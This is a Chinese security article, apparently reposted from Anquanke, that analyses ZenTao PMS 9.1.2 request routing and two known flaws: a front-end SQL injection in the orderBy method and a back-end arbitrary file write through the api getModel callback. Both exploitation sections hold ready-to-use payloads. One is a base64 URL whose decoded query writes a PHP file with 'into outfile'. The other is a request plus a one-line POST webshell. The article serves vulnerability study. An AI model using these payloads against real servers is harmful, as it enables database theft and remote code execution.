禅道pms-路由及漏洞分析

发表于:2019-8-29 11:53

字体: | 上一篇 | 下一篇 | 我要投稿

 作者:kingkk    来源:安全客

分享:
  前言
  故事起源于一次校园网内扫描,扫到一台禅道的服务器,遂开始分析起了一些历史漏洞,但是由于版本原因在服务器上都没有成功 ==、
  文本分析了下禅道中路由的设置,以及一些历史漏洞,若有疏漏,还望斧正。
  路由分析
  路由是分析和审计cms前一个很重要的点,能了解整个cms的基本框架和代码流程。
  禅道各个版本中路由没有什么较大的变化,这里以9.1.2为例进行分析。
  首先,禅道里有两种类型的路由,分别对应者两种不同的url访问方式
  PATHINFO:user-login-L3plbnRhb3BtczEwLjMuMS93d3cv.html 以伪静态形式在html名称中传参
  GET:index.php?m=block&f=main&mode=getblockdata 类似于其他常规cms在get参数中传参
  index.php
  贴代码太多了,就放张图片好了。
  一开始是加载了一些框架的类,然后new了一个路由
  $app = router::createApp('pms', dirname(dirname(__FILE__)), 'router');
  然后做了一些简单的判断和是否安装,最主要的是最后的三行
   $app->parseRequest();
  $common->checkPriv();
  $app->loadModule();
  看方法名也大致能猜到是干嘛了,分别对应着参数解析、权限检测、模块加载
  router.class.php
  路由的代码文件在frameworkbaserouter.class.php中
   public function parseRequest()
  {
  if(isGetUrl())
  {
  if($this->config->requestType == 'PATH_INFO2') define('FIX_PATH_INFO2', true);
  $this->config->requestType = 'GET';
  }
  if($this->config->requestType == 'PATH_INFO' or $this->config->requestType == 'PATH_INFO2')
  {
  $this->parsePathInfo();
  $this->setRouteByPathInfo();
  }
  elseif($this->config->requestType == 'GET')
  {
  $this->parseGET();
  $this->setRouteByGET();
  }
  else
  {
  $this->triggerError("The request type {$this->config->requestType} not supported", __FILE__, __LINE__, $exit = true);
  }
  }
  一开始的isGetUrl就会判断是那种类型的传参方式
   function isGetUrl()
  {
  $webRoot = getWebRoot();
  if(strpos($_SERVER['REQUEST_URI'], "{$webRoot}?") === 0) return true;
  if(strpos($_SERVER['REQUEST_URI'], "{$webRoot}index.php?") === 0) return true;
  if(strpos($_SERVER['REQUEST_URI'], "{$webRoot}index.php/?") === 0) return true;
  return false;
  }
  然后就以对应的方式进行参数解析,完成router中三个主要元素的加载
  moduleName 模块名称
  methodName方法名称
  controlFile 控制文件
  解析完参数之后就是返回index.php然后权限检测,再进入loadMoulde加载模块
  通过动态调试以及注释可以看到,一开始是设置了模块名、方法名一些参数,并创建了control控制器实例
  之后就是根据GET或者PATHINFO的形式获取参数
  全部准备工作做好之后就进入
  call_user_func_array(array($module, $methodName), $this->params);
  进行动态方法调用,调用/module/xxx/control.php中的xxx函数
  例如我这里传入的url是index.php?m=block&f=main&mode=getblockdata&blockid=case
  就会进入到/module/block/control.php中的public function main函数中,并传入对应的参数
  这样就结束了路由的解析,正式进入到逻辑函数的处理
  不同的url会对应到不同的文件的不同函数中,这也正是路由的功能
  明白了如何禅道中是如何进行路由配置的,也就更容易理解整个框架,从而进行分析。
  前台SQL注入
  漏洞一开始爆出是在9.1.2版本,后续几个版本似乎进行了过滤,但是过滤不完全,依旧有注入的危险
  测试版本为9.1.2
  漏洞分析
  漏洞发生在sql类的核心库文件中lib/base/dao/dao.class.php:1915
   public function orderBy($order)
  {
  if($this->inCondition and !$this->conditionIsTrue) return $this;
  $order = str_replace(array('|', '', '_'), ' ', $order);
  /* Add "`" in order string. */
  /* When order has limit string. */
  $pos    = stripos($order, 'limit');
  $orders = $pos ? substr($order, 0, $pos) : $order;
  $limit  = $pos ? substr($order, $pos) : '';
  $orders = trim($orders);
  if(empty($orders)) return $this;
  if(!preg_match('/^(w+.)?(`w+`|w+)( +(desc|asc))?( *(, *(w+.)?(`w+`|w+)( +(desc|asc))?)?)*$/i', $orders)) die("Order is bad request, The order is $orders");
  $orders = explode(',', $orders);
  foreach($orders as $i => $order)
  {
  $orderParse = explode(' ', trim($order));
  foreach($orderParse as $key => $value)
  {
  $value = trim($value);
  if(empty($value) or strtolower($value) == 'desc' or strtolower($value) == 'asc') continue;
  $field = $value;
  /* such as t1.id field. */
  if(strpos($value, '.') !== false) list($table, $field) = explode('.', $field);
  if(strpos($field, '`') === false) $field = "`$field`";
  $orderParse[$key] = isset($table) ? $table . '.' . $field :  $field;
  unset($table);
  }
  $orders[$i] = join(' ', $orderParse);
  if(empty($orders[$i])) unset($orders[$i]);
  }
  $order = join(',', $orders) . ' ' . $limit;
  $this->sql .= ' ' . DAO::ORDERBY . " $order";
  return $this;
  }
  在最后的语句拼接处可以看到,对$limit变量直接进行了拼接,而且前面也没有进行严格的过滤于判断
 $order = join(',', $orders) . ' ' . $limit;
  然后漏洞发现者找了个调用这个orderby方法的地方
  在访问index.php?m=block&f=main&mode=getblockdata&blockid=case时就会进入module/block/control.php:296的main函数部分
  然后进入getblockdata分支,对传入的param参数进行解码,然后赋值给$this->params
   $params = $this->get->param;
  $params = json_decode(base64_decode($params));
  ...
  $this->params      = $params;
  最后会调用到printCaseBlock方法
  printCaseBlock中openedbyme分支会对传入的$this->params->orderBy带入到orderBy函数中
  由于没有进行严格的限制,从而拼接之后执行,造成了sql注入
  漏洞利用
  假如是root权限,就可以利用pdo的多段查询,直接导出数据,生成php文件,从而getshell
  访问url  
  index.php?m=block&f=main&mode=getblockdata&blockid=case&param=eyJvcmRlckJ5Ijoib3JkZXIgbGltaXQgMSwxO3NlbGVjdCAnPD9waHAgcGhwaW5mbycgaW50byBvdXRmaWxlICdkOi9lLnBocCcjIiwibnVtIjoiMSwxIiwidHlwZSI6Im9wZW5lZGJ5bWUifQ==
   在referrer中添加http://localhost/或者就是你访问的网页url
  param参数为一段json的base64编码解码之后就是
 {"orderBy":"order limit 1,1;select '<?php phpinfo' into outfile 'd:/e.php'#","num":"1,1","type":"openedbyme"}
  修改select '<?php phpinfo' into outfile 'd:/e.php'部分数据就可以执行想要的sql语句
  假如权限不够的时候,就可以利用一些报错或者盲注的方式,由于PDO的原因,会相对来的比较复杂
  柠檬师傅的文章中写的很详细了,就不班门弄斧了
  后台getshell
  测试版本为9.1.2
  漏洞分析
  问题出现在module/api/control.php:38的getModel函数中
   public function getModel($moduleName, $methodName, $params = '')
  {
  parse_str(str_replace(',', '&', $params), $params);
  $module = $this->loadModel($moduleName);
  $result = call_user_func_array(array(&$module, $methodName), $params);
  if(dao::isError()) die(json_encode(dao::getError()));
  $output['status'] = $result ? 'success' : 'fail';
  $output['data']   = json_encode($result);
  $output['md5']    = md5($output['data']);
  $this->output     = json_encode($output);
  die($this->output);
  }
  在第三行里面使用了回调函数,而传入的参数正好就是通过get方式传入的,导致了参数的可控
 $result = call_user_func_array(array(&$module, $methodName), $params);
  这里需要一个找一个文件写入的点,然后调用就可以了,于是可以来到module/editor/model.php:371
   public function save($filePath)
  {
  $fileContent = $this->post->fileContent;
  $evils       = array('eval', 'exec', 'passthru', 'proc_open', 'shell_exec', 'system', '$$', 'include', 'require', 'assert');
  $gibbedEvils = array('e v a l', 'e x e c', ' p a s s t h r u', ' p r o c _ o p e n', 's h e l l _ e x e c', 's y s t e m', '$ $', 'i n c l u d e', 'r e q u i r e', 'a s s e r t');
  $fileContent = str_ireplace($gibbedEvils, $evils, $fileContent);
  if(get_magic_quotes_gpc()) $fileContent = stripslashes($fileContent);
  $dirPath = dirname($filePath);
  $extFilePath = substr($filePath, 0, strpos($filePath, DS . 'ext' . DS) + 4);
  if(!is_dir($dirPath) and is_writable($extFilePath)) mkdir($dirPath, 0777, true);
  if(is_writable($dirPath))
  {
  file_put_contents($filePath, $fileContent);
  }
  else
  {
  die(js::alert($this->lang->editor->notWritable . $extFilePath));
  }
  }
  可以看到这里虽然做了一些简单字符的过滤,但是丝毫不影响写入shell
  只要在api处调用这个函数即可任意文件写入,从而getshell
  漏洞利用
  这是一个后台的洞,所以需要登录到后台
  之后访问如下url
  localhost/zentaopms912/www/index.php
  ?m=api
  &f=getModel
  &moduleName=editor&methodName=save
  &params=filePath=../e.php
  POST中传入
 fileContent=<?php $_POST[_]($_POST[1]);
  就会在www目录下生成1.php文件
  getshell

     上文内容不用于商业目的,如涉及知识产权问题,请权利人联系博为峰小编(021-64471599-8017),我们将立即处理
《2023软件测试行业现状调查报告》独家发布~

关注51Testing

联系我们

快捷面板 站点地图 联系我们 广告服务 关于我们 站长统计 发展历程

法律顾问:上海兰迪律师事务所 项棋律师
版权所有 上海博为峰软件技术股份有限公司 Copyright©51testing.com 2003-2024
投诉及意见反馈:webmaster@51testing.com; 业务联系:service@51testing.com 021-64471599-8017

沪ICP备05003035号

沪公网安备 31010102002173号